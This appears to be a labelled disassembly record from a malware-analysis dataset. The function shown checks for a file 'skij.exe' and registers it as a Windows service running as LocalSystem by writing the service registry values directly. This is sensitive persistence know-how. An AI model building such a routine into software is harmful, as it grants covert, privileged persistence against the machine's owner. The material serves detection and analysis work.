Function at 0x402c70
Capabilities:
Check if file exists
Persist via windows service
Set registry value

Disassembly:
push ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52bae0
mov eax, dword fs:[0]
push eax
sub esp, 0x54
mov eax, dword [0x578ad4]
xor eax, ebp
mov dword [ebp - 0x10], eax
push ebx
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
call fcn.004064ed
xor ecx, ecx
xor edi, edi
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x402cb7
push 0x80004005
call fcn.00401470
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x38], eax
mov dword [ebp - 4], edi
call fcn.004064ed
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x402ce3
push 0x80004005
call fcn.00401470
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x48], eax
mov byte [ebp - 4], 1
call fcn.004064ed
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x402d10
push 0x80004005
call fcn.00401470
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x34], eax
mov byte [ebp - 4], 2
call fcn.004064ed
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x402d3d
push 0x80004005
call fcn.00401470
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x40], eax
mov byte [ebp - 4], 3
call fcn.004064ed
xor ecx, ecx
cmp eax, edi
setne cl
cmp ecx, edi
jne 0x402d6a
push 0x80004005
call fcn.00401470
mov edx, dword [eax]
mov ecx, eax
mov eax, dword [edx + 0xc]
call eax
add eax, 0x10
mov dword [ebp - 0x44], eax
mov byte [ebp - 4], 4
push str.LocalSystem
lea ecx, [ebp - 0x3c]
mov dword [ebp - 0x5c], 0x10
mov dword [ebp - 0x50], 2
mov dword [ebp - 0x58], 1
call fcn.004015a0
push 0xc
lea esi, [ebp - 0x54]
mov byte [ebp - 4], 5
call fcn.00403e50
mov byte [ebp - 4], 6
mov ecx, dword [eax]
mov eax, ecx
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], edi
mov byte [ebp - 0x2c], 0
lea esi, [eax + 1]
mov dl, byte [eax]
inc eax
test dl, dl
jne 0x402dc6
sub eax, esi
push eax
push ecx
lea ecx, [ebp - 0x2c]
call fcn.00405090
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x54]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402dfc
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [ebp - 0x4c]
call fcn.00403f70
mov ebx, eax
lea esi, [ebp - 0x60]
mov byte [ebp - 4], 9
call fcn.00402c20
sub esp, 0x1c
mov edi, esp
mov byte [ebp - 4], 0xa
mov edx, dword [eax]
mov ecx, 7
lea esi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
mov ecx, dword [ebx]
push ecx
push edx
lea eax, [ebp - 0x48]
push str._s_s_skij.exe
push eax
call fcn.00404ba0
mov byte [ebp - 4], 9
mov eax, dword [ebp - 0x60]
add eax, 0xfffffff0
add esp, 0x2c
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402e5f
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 8
mov eax, dword [ebp - 0x4c]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402e82
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
sub esp, 0x1c
mov edi, esp
mov ecx, 7
lea esi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x38]
push str._skij
push ecx
call fcn.00404ba0
mov ebx, dword [ebp - 0x48]
add esp, 0x24
push ebx
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
jne 0x402fb1
cmp dword [ebp - 0x18], 0x10
jb 0x402ec6
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004052a8
add esp, 4
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402efb
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402f1e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402f41
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402f64
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [ebx - 0x10]
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402f84
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [ebp - 4], 0xffffffff
mov eax, dword [ebp - 0x38]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402faa
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
xor eax, eax
jmp 0x403175
sub esp, 0x1c
mov edi, esp
mov ecx, 7
lea esi, [ebp - 0x2c]
rep movsd dword es:[edi], dword [esi]
lea ecx, [ebp - 0x34]
push str.systemControlSet001_services_skij
push ecx
call fcn.00404ba0
mov eax, dword [ebp - 0x34]
add esp, 0x24
lea edx, [ebp - 0x30]
push edx
push eax
push reloc.OLEAUT32.dll_SysReAllocString
call dword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
mov edi, dword [ebp - 0x38]
test eax, eax
jne 0x40307d
mov edx, dword [ebp - 0x30]
mov esi, dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push 4
lea ecx, [ebp - 0x5c]
push ecx
push 4
push 0
push str.Type
push edx
call esi
mov ecx, dword [ebp - 0x30]
push 4
lea eax, [ebp - 0x50]
push eax
push 4
push 0
push 0x557908
push ecx
call esi
mov eax, dword [ebx - 0xc]
mov edx, dword [ebp - 0x30]
push eax
push ebx
push 2
push 0
push str.ImagePath
push edx
call esi
mov ecx, dword [ebp - 0x30]
push 4
lea eax, [ebp - 0x58]
push eax
push 4
push 0
push str.ErrorControl
push ecx
call esi
mov eax, dword [edi - 0xc]
mov edx, dword [ebp - 0x30]
push eax
push edi
push 1
push 0
push str.DisplayName
push edx
call esi
mov eax, dword [ebp - 0x3c]
mov ecx, dword [eax - 0xc]
push ecx
push eax
mov eax, dword [ebp - 0x30]
push 1
push 0
push str.ObjectName
push eax
call esi
mov ecx, dword [ebp - 0x30]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
cmp dword [ebp - 0x18], 0x10
jb 0x40308f
mov edx, dword [ebp - 0x2c]
push edx
call fcn.004052a8
add esp, 4
mov byte [ebp - 4], 4
mov eax, dword [ebp - 0x3c]
add eax, 0xfffffff0
mov dword [ebp - 0x18], 0xf
mov dword [ebp - 0x1c], 0
mov byte [ebp - 0x2c], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4030c4
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 3
mov eax, dword [ebp - 0x44]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x4030e7
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 2
mov eax, dword [ebp - 0x40]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40310a
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [ebp - 4], 1
mov eax, dword [ebp - 0x34]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40312d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [ebx - 0x10]
mov byte [ebp - 4], 0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40314d
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
lea eax, [edi - 0x10]
mov dword [ebp - 4], 0xffffffff
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x403170
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
pop ebx
mov ecx, dword [ebp - 0x10]
xor ecx, ebp
call fcn.0050358b
mov esp, ebp
pop ebp
ret